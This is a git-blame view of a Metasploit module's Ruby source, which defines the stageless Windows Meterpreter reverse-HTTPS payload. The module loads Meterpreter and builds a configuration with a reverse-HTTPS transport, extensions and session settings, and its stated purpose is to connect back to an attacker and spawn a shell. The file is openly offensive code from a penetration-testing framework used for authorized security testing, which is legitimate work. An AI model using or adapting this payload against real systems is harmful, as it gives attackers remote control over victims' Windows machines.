Files
metasploit-gs/modules/payloads/singles/windows/meterpreter_reverse_https.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

68 lines
2.0 KiB
Ruby
Raw Normal View History

2015-03-12 09:45:09 +10:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-03-12 09:45:09 +10:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
module MetasploitModule
CachedSize = 178780
include Msf::Payload::TransportConfig
2015-05-04 21:51:20 +10:00
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader
2015-03-12 09:45:09 +10:00
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline',
'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttps,
'Session' => Msf::Sessions::Meterpreter_x86_Win
)
)
2015-03-12 09:45:09 +10:00
2015-05-05 09:27:01 +10:00
register_options([
2015-11-10 20:01:23 +10:00
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
])
register_advanced_options(
Msf::Opt.http_header_options +
Msf::Opt.http_proxy_options
)
2015-03-12 09:45:09 +10:00
end
def generate(opts = {})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts = {})
opts[:uuid] ||= generate_payload_uuid
2015-05-04 21:51:20 +10:00
# create the configuration block
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_reverse_https(opts)],
2015-11-10 20:01:23 +10:00
extensions: (datastore['EXTENSIONS'] || '').split(','),
ext_init: datastore['EXTINIT'] || '',
stageless: true
}.merge(meterpreter_logging_config(opts))
2015-05-04 21:51:20 +10:00
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
2015-03-12 09:45:09 +10:00
end